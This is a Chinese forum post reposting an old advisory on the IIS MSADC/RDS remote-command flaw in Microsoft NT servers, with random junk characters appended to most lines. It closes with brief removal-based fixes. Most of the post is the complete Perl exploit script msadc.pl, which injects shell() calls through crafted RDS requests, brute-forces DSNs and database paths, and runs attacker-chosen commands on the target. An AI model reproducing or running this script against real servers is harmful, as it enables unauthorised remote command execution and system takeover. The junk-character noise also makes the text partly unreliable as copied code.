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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 'nK(cKDIG  
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涉及程序: nLA8Hy"8z  
Microsoft NT server ;1S~'B&1Q  
h  0EpW5  
描述: `^rN"\  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 >S3,_@C  
GI&XL'K&  
详细: j k%MP6  
如果你没有时间读详细内容的话,就删除: U]Iypl`l  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 9WXJz;  
有关的安全问题就没有了。 R]0p L   
-Y*"!8  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 8Z=d+}Gg<  
$6W o$c%  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。  aOS:rC  
关于利用ODBC远程漏洞的描述,请参看: Jj<UtD+  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm MwoU>+XB  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 r<Il;?S6  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp YbMeSU/sX  
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这里不再论述。 uXs.7+f  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Ca: jN0  
NWuJ&+gcO5  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset CM}1:o<<N  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 8hx4s(1!  
8PWx>}XPt  
`m6>r9:  
#将下面这段保存为txt文件,然后: "perl -x 文件名" >^cP]gG Y  
J3oEN'8S  
#!perl #WBlEVx;Z  
# hXsd12  
# MSADC/RDS 'usage' (aka exploit) script 'A0.(a5  
# `rt  
# by rain.forest.puppy 8.-0_C*U;  
# 'cs!(z-{x  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me !.\EU*)1  
# beta test and find errors! UL81x72O  
m5O;aj* i  
use Socket; use Getopt::Std; `>M-J-J  
getopts("e:vd:h:XR", \%args); (1~d/u?2\  
9:|z^r  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; tx$kD2  
gy|L!_1Z8  
if (!defined $args{h} && !defined $args{R}) { %9,:  
print qq~  oCE=!75  
Usage: msadc.pl -h <host> { -d <delay> -X -v } T#;W5<"  
-h <host> = host you want to scan (ip or domain) `Yk~2t"V  
-d <seconds> = delay between calls, default 1 second 72hN%l   
-X = dump Index Server path table, if available !.(Kpcrg  
-v = verbose {H]xA3[]  
-e = external dictionary file for step 5 + .Pv:7gh  
 %2 A-u  
Or a -R will resume a command session i$~2pr  
"N"$B~W*  
~; exit;} "m*.kB)e7  
6#A g^A  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; yc4?'k!  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} wul$lJ?tE  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}  %+\ PN  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); $XBn:0U  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} cE{hy 7cH  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } kq;1Ax0 {  
EV1x"}D A_  
if (!defined $args{R}){ $ret = &has_msadc; X9W'.s.[Q  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} RrFq"  
BMubN   
print "Please type the NT commandline you want to run (cmd /c assumed):\n" zf@gAvJ  
. "cmd /c "; r57&F`{  
$in=<STDIN>; chomp $in; "gm[q."n<  
$command="cmd /c " . $in ; Q5[x2 s_d  
M^q< qS>d  
if (defined $args{R}) {&load; exit;} {FYWQ!L  
T:v.]0l~  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ]} D^?g^  
&try_btcustmr; j7(sYo@x7  
Z XCq>  
print "\nStep 2: Trying to make our own DSN..."; U GA_^?4  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 6`K R  
8fV.NCyE  
print "\nStep 3: Trying known DSNs..."; H1?t2\V4  
&known_dsn; #'poDX?  
-^1}J  
print "\nStep 4: Trying known .mdbs..."; /_WA F90R?  
&known_mdb; t>hoXn^-  
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if (defined $args{e}){ vY 0EffZ  
print "\nStep 5: Trying dictionary of DSN names..."; |PGF g0li  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } (`W_ -PI  
j,DF' h  
print "Sorry Charley...maybe next time?\n"; "_LDs(&  
exit;  H7`JqS  
Q6Ay$*y=D  
############################################################################## &a;{ed1B  
/ .wO<l=  
sub sendraw { # ripped and modded from whisker +8<|P&fH  
sleep($delay); # it's a DoS on the server! At least on mine... PK C}!>2  
my ($pstr)=@_; csh@C ckC8  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || {gL8s  
die("Socket problems\n"); y4\(ynk  
if(connect(S,pack "SnA4x8",2,80,$target)){ pZE}<EX  
select(S); $|=1; tTjadnX  
print $pstr; my @in=<S>; Z\lJE>1  
select(STDOUT); close(S); fL^$G;_?3  
return @in; { l E\y9  
} else { die("Can't connect...\n"); }} lEZODc+%Y  
Zz,j,w0 Z  
############################################################################## @AB}r1E2  
Yvi.l6JL  
sub make_header { # make the HTTP request ABx< Ep6  
my $msadc=<<EOT 5T*Uq>x0  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Arr(rM  
User-Agent: ACTIVEDATA $_cO7d  
Host: $ip xK*G'3Ge  
Content-Length: $clen X-,mNv z  
Connection: Keep-Alive lU\v8!Ji  
{"dvU "y)\  
ADCClientVersion:01.06 q1a*6*YB  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 R|@?6<  
+g9C klJ  
--!ADM!ROX!YOUR!WORLD! AjYvYMA&  
Content-Type: application/x-varg La2f]+sV  
Content-Length: $reqlen &Z3u(Eb  
}'KHF0   
EOT kTW[)  
; $msadc=~s/\n/\r\n/g; #Dz. 58A  
return $msadc;} 'bQjJRq!  
|j2$G~B6  
############################################################################## E%b*MU  
 * Cj<Vy  
sub make_req { # make the RDS request 9#>t% IF~  
my ($switch, $p1, $p2)=@_; /;X+<Wj  
my $req=""; my $t1, $t2, $query, $dsn; JBI>D1`"  
A{ a4;`}5  
if ($switch==1){ # this is the btcustmr.mdb query UfkQG`G9H  
$query="Select * from Customers where City=" . make_shell(); qNuBK6E#4  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 20,}T)}Tm  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} r}\m%(i  
W9rmAQjn  
elsif ($switch==2){ # this is general make table query  NZu2D  
$query="create table AZZ (B int, C varchar(10))"; 9 df GV!Z  
$dsn="$p1";}  vWH)W?2  
g=na3^PL6  
elsif ($switch==3){ # this is general exploit table query jtv<{7a  
$query="select * from AZZ where C=" . make_shell(); ;%Zu[G`C  
$dsn="$p1";} uPVO!`N3  
&SW~4{n:  
elsif ($switch==4){ # attempt to hork file info from index server >^~W'etX|  
$query="select path from scope()"; " Ng%"Nz  
$dsn="Provider=MSIDXS;";} 4n0Iw  I  
v.6K;TY.  
elsif ($switch==5){ # bad query Vv&GyqoO]  
$query="select"; @@z5v bs'{  
$dsn="$p1";} zq'KX/o  
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$t1= make_unicode($query); <{cf'"O7)  
$t2= make_unicode($dsn); _[pbf ua  
$req = "\x02\x00\x03\x00"; ZA7b;{o [  
$req.= "\x08\x00" . pack ("S1", length($t1)); ^2`*1el  
$req.= "\x00\x00" . $t1 ; gl~9|$ivj>  
$req.= "\x08\x00" . pack ("S1", length($t2)); Eh+m|A  
$req.= "\x00\x00" . $t2 ; @:/H)F^x  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; AIG5a$}&  
return $req;} 1wy?<B.f  
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############################################################################## u\3=m%1  
C/!7E:  
sub make_shell { # this makes the shell() statement c=f;3N  
return "'|shell(\"$command\")|'";} +F92_a4  
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############################################################################## w\1K.j=>|N  
,: Ij@u>)  
sub make_unicode { # quick little function to convert to unicode gs(ZJO1 /L  
my ($in)=@_; my $out; &S=xSs:q.  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } f_z]kA +H  
return $out;} J%IKdxa  
f&I5bPS7}  
############################################################################## r-AD*h@QZ  
.|i/ a%J  
sub rdo_success { # checks for RDO return success (this is kludge) (z:qj/|  
my (@in) = @_; my $base=content_start(@in); CsJ&,(s(  
if($in[$base]=~/multipart\/mixed/){ VKcVwq  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} kA/yL]m^S  
return 0;} hz+c]K  
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############################################################################## W.l#@p  
0D/7X9xg9+  
sub make_dsn { # this makes a DSN for us v$Xoxp  
my @drives=("c","d","e","f"); AEd9H +I  
print "\nMaking DSN: "; l\37/Z  
foreach $drive (@drives) { ;)Sf|  
print "$drive: "; ;+*/YTkC+P  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . #'97mg  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" !8|?0>3)  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); m$VCCDv  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Ry40:;MYN  
return 0 if $2 eq "404"; # not found/doesn't exist 9h"3u;/,  
if($2 eq "200") { ?>NX}~2cf  
foreach $line (@results) { SNC)cq+{  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} L]E.TvM1*  
} return 0;} Q[9W{l+  
mM'uRhO+  
############################################################################## x$z>.4  
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sub verify_exists { A&V'WahC@I  
my ($page)=@_; rQ(u@u;  
my @results=sendraw("GET $page HTTP/1.0\n\n"); H#3Ma1z  
return $results[0];} Ap> H-/C  
 63VgQ  
############################################################################## s8;*Wt  
$XcuU sG  
sub try_btcustmr { W^i[7 r  
my @drives=("c","d","e","f"); ri49r*_1  
my @dirs=("winnt","winnt35","winnt351","win","windows"); sC_doh_M  
\eXuNv_  
foreach $dir (@dirs) { LCqWL1  
print "$dir -> "; # fun status so you can see progress 4veXg/l  
foreach $drive (@drives) { esd9N'.Q*  
print "$drive: "; # ditto ,"5xKF+cS  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 7 b{y  
$reqlenlen=length( "$reqlen" ); R] l2,0:  
$clen= 206 + $reqlenlen + $reqlen; v7<r- <I[  
Q zY5S0  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); UYGO|lkEU  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} <m*j1|^{t  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} \)cbg#v  
&X,6v  
############################################################################## *JO%.QNg  
F#z1 sl'  
sub odbc_error { \"P$*y4Le  
my (@in)=@_; my $base; {Hz;*1?$k  
my $base = content_start(@in); -kb;h F}.  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this !Y*O0_  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ,uZz?7mO  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 2>)::9e4  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $PMD$c  
return $in[$base+4].$in[$base+5].$in[$base+6];} IO"q4(&;P4  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Y ^5RM  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . T+>W(w i  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} VqS1n  
cRSgP{hy  
############################################################################## ?>mpUH  
.#LHj}u  
sub verbose { j3fq}>=  
my ($in)=@_; ]3 76F7  
return if !$verbose; @DlN;r ?Cv  
print STDOUT "\n$in\n";} :MGIp%3  
!3\( d{  
############################################################################## Mlo:\ST|  
ODKS6E1{  
sub save { Is!+ `[ma  
my ($p1, $p2, $p3, $p4)=@_; !*}E  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 6>[J^k%~w)  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; BX2}ar  
close OUT;} .]/k#Hv  
ZFtN~Tg  
############################################################################## (]$&.gE.F  
Zig3WiD&  
sub load { 3u'@anre  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; LG=_>:~t>  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 5yf`3vV|3@  
@p=<IN>; close(IN); ^geY Ay  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ki8Jl}dr  
$target= inet_aton($ip) || die("inet_aton problems"); |al'_s}I  
print "Resuming to $ip ..."; MX7$f (Hy  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; aL/7xa  
if($p[1]==1) { LHs^Xo18  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; o:@A%*jg  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; v&xhS yZ  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); AZnFOS  
if (rdo_success(@results)){print "Success!\n";} :V#B]:Z9  
else { print "failed\n"; verbose(odbc_error(@results));}} tw<}7l_>Au  
elsif ($p[1]==3){ >ajcfG .k(  
if(run_query("$p[3]")){ WB"90!  
print "Success!\n";} else { print "failed\n"; }} +Rq]_ sDu  
elsif ($p[1]==4){ BWzo|isv  
if(run_query($drvst . "$p[3]")){ 2`V(w[zTr  
print "Success!\n"; } else { print "failed\n"; }} "S psSQ  
exit;} 7/bF0 4~%  
r: ,"k:C  
############################################################################## A{gniYqvB`  
U)SQ3*j2D  
sub create_table { &izk$~  
my ($in)=@_; i7`/"5I  
$reqlen=length( make_req(2,$in,"") ) - 28; hho\e 8  
$reqlenlen=length( "$reqlen" ); 6g"qwWZp  
$clen= 206 + $reqlenlen + $reqlen; xfA@GYCfT  
my @results=sendraw(make_header() . make_req(2,$in,"")); Suk;##I  
return 1 if rdo_success(@results); T>m|C}yy  
my $temp= odbc_error(@results); verbose($temp); rM20Y(|  
return 1 if $temp=~/Table 'AZZ' already exists/; xgWVxX^)  
return 0;} &usum~@  
f4^\iZ{`G  
############################################################################## <KZ J  
,772$7x  
sub known_dsn { mnM$#%q;%  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go da$ErN '{  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", HCaEETk5  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", !8o;~PPVl  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); B{NGrC`5)  
#|6M*;lN|  
foreach $dSn (@dsns) { nk+9 J#Gs  
print "."; &FDWlrG g  
next if (!is_access("DSN=$dSn")); Y%8[bL$ d  
if(create_table("DSN=$dSn")){ ~.Cu,>fV  
print "$dSn successful\n"; 9<"l!noy  
if(run_query("DSN=$dSn")){ O2Tna<cR&  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { U z MIm  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ,>3|\4/Q  
vVH*\&H\T  
############################################################################## 0|~3\e/QV  
D__*?frWpW  
sub is_access { C oO0~q  
my ($in)=@_; S{JBV@@tC  
$reqlen=length( make_req(5,$in,"") ) - 28; fCi1JH;  
$reqlenlen=length( "$reqlen" ); b IZi3GmRF  
$clen= 206 + $reqlenlen + $reqlen; "= *   
my @results=sendraw(make_header() . make_req(5,$in,"")); g;!,2,De}  
my $temp= odbc_error(@results); d0-T\\U  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); jn>RE   
return 0;} \_|r>vQ  
_Zbgmasb  
############################################################################## T$4Utd5[z'  
iIU>:)i  
sub run_query { 3NgyF[c  
my ($in)=@_; # |,c3$  
$reqlen=length( make_req(3,$in,"") ) - 28; 'h;x>r  
$reqlenlen=length( "$reqlen" ); `MXGEJF  
$clen= 206 + $reqlenlen + $reqlen; Dqm;twd>  
my @results=sendraw(make_header() . make_req(3,$in,"")); VY "i>Ae  
return 1 if rdo_success(@results); ]D|Hq4ug  
my $temp= odbc_error(@results); verbose($temp); RTeG\U  
return 0;} o`\@Yq$.  
i,y7R?-K  
############################################################################## {iVmae  
&y.6Hiy&  
sub known_mdb { /` 4B-Y4M4  
my @drives=("c","d","e","f","g"); ~9dAoILrl  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ]o*-|[^?  
my $dir, $drive, $mdb; w&LL-~KI+  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; XN~r d,MZ%  
4$8\IJ7G  
# this is sparse, because I don't know of many 4AuJ1Z  
my @sysmdbs=( "\\catroot\\icatalog.mdb", oOHr~<  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", t}-rN5GO  
"\\system32\\certmdb.mdb", [^A>hs*  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Mt+gg F.  
Q#*Pjl  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", M7SVD[7~HM  
"\\cfusion\\cfapps\\forums\\forums_.mdb", W&Kjh|[1QZ  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", [USE&_RN  
"\\cfusion\\cfapps\\security\\realm_.mdb", @3I/57u<  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ^0T[V-PgiD  
"\\cfusion\\database\\cfexamples.mdb", qn~:B7f  
"\\cfusion\\database\\cfsnippets.mdb", !<j)D_  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", kIYV%O   
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 1IV R4:a  
"\\cfusion\\brighttiger\\database\\cleam.mdb", pN7 v7rs  
"\\cfusion\\database\\smpolicy.mdb", %Dm:|><V$b  
"\\cfusion\\database\cypress.mdb", ;n=A245W\  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", glP W9q,f  
"\\website\\cgi-win\\dbsample.mdb", hS +R /7  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", o:Q.XWa@MG  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" b0R{cj=<[  
); #these are just HU+zzTgI  
foreach $drive (@drives) { t'L#8MJ  
foreach $dir (@dirs){ K^+}__;]  
foreach $mdb (@sysmdbs) { .?p\=C@C+  
print "."; \P7y&`|  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 41jlfKiOm  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; bdkxCt  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){  L\("  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; uQtwh08i  
} else { print "Something's borked. Use verbose next time\n"; }}}}} *'nZ|r v  
RTRi{p  
foreach $drive (@drives) { dt|f4 XWF  
foreach $mdb (@mdbs) { <P4*7:jX  
print "."; {kp^@  
if(create_table($drv . $drive . $dir . $mdb)){ ;(,1pi7|  
print "\n" . $drive . $dir . $mdb . " successful\n"; ![a~y`<K,  
if(run_query($drv . $drive . $dir . $mdb)){ Z* L{;  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; JypXQC}~  
} else { print "Something's borked. Use verbose next time\n"; }}}} ^NPbD<~Lb  
} e3b|z.^8  
bem-T`>'  
############################################################################## lc2RMu  
('VHL!  
sub hork_idx { =FtJa3mHK  
print "\nAttempting to dump Index Server tables...\n"; ccu13Kr>E  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; e<[0H 8  
$reqlen=length( make_req(4,"","") ) - 28; mtn+bV R%  
$reqlenlen=length( "$reqlen" ); v9R"dc]0h  
$clen= 206 + $reqlenlen + $reqlen; CiSl 0  
my @results=sendraw2(make_header() . make_req(4,"","")); WbP*kV{  
if (rdo_success(@results)){ "~HV!(dRMC  
my $max=@results; my $c; my %d; du k:: |{F  
for($c=19; $c<$max; $c++){ bxA1fA;  
$results[$c]=~s/\x00//g; Lb} cjI:  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 1-bQ ( -  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; XU19+mW=P  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; --9Z  
$d{"$1$2"}="";} )Mj $/  
foreach $c (keys %d){ print "$c\n"; } c@1q8,  
} else {print "Index server doesn't seem to be installed.\n"; }} 3Ta<7tEM  
}475c{  
############################################################################## ';hTGLq\X  
p/f!\  
sub dsn_dict { tuiQk=[ c  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); OK^0,0kS3  
while(<IN>){ tSvklI  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ) "o+wSI1  
next if (!is_access("DSN=$dSn")); p!~{<s]  
if(create_table("DSN=$dSn")){ f; "6I  
print "$dSn successful\n"; %Fg}"=f1  
if(run_query("DSN=$dSn")){ ;dh8|ujh  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { U~w g'  
print "Something's borked. Use verbose next time\n";}}} >`@yh-'r  
print "\n"; close(IN);} r 7mg>3  
V ^U1o[`  
############################################################################## S"z cSkF  
#1C~i}J1  
sub sendraw2 { # ripped and modded from whisker u70-HFI@  
sleep($delay); # it's a DoS on the server! At least on mine... *KXg;777  
my ($pstr)=@_; E(&GZ QE  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ;5.o;|w?!  
die("Socket problems\n"); XI*_ti  
if(connect(S,pack "SnA4x8",2,80,$target)){ o,sw[  
print "Connected. Getting data"; ;\ $P;-VY  
open(OUT,">raw.out"); my @in; dWI.t1`i  
select(S); $|=1; print $pstr; VnJ-nfA  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} z]YP  
close(OUT); select(STDOUT); close(S); return @in; `>q|_w \e  
} else { die("Can't connect...\n"); }} ;^,2 QsM  
|;-,(509  
############################################################################## VhAZncw  
2 8j=q-9Z  
sub content_start { # this will take in the server headers #NVqS5  
my (@in)=@_; my $c; ?]=fC{Rh  
for ($c=1;$c<500;$c++) { Iy}r'#N  
if($in[$c] =~/^\x0d\x0a/){ Y"uFlHN&i  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } .=>T yq  
else { return $c+1; }}} a* pZcv<  
return -1;} # it should never get here actually PSdH9ea  
G@) I  
############################################################################## O^ ]I>A#d  
vl@t4\@3  
sub funky { 3"gifE  
my (@in)=@_; my $error=odbc_error(@in); {1GW,T!#  
if($error=~/ADO could not find the specified provider/){ /)i)wxi  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 3_atv'I  
exit;} 8i;N|:WdH  
if($error=~/A Handler is required/){ kC R)k=*  
print "\nServer has custom handler filters (they most likely are patched)\n"; |<.b:e\4  
exit;} gkpNT)  
if($error=~/specified Handler has denied Access/){ n;"4`6L~  
print "\nServer has custom handler filters (they most likely are patched)\n"; /S;o2\  
exit;}} 7F-b/AdVq  
#^Dc:1,  
############################################################################## g[;iVX^1&  
3D~Fu8Hg1  
sub has_msadc { @"s\eL,r  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ;f-|rC_"  
my $base=content_start(@results); Yf:utCvv  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 71tMX[x  
return 0;} $ Yz &x%Lb  
81_3{OrE<  
######################## Xh]\q)  
$EJ*x$  
yT&bS\  
解决方案: E|9LUPcb  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll w c%  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 F'CUkVC0~P  
wH Z!t,g  
拿出来充数 哈哈
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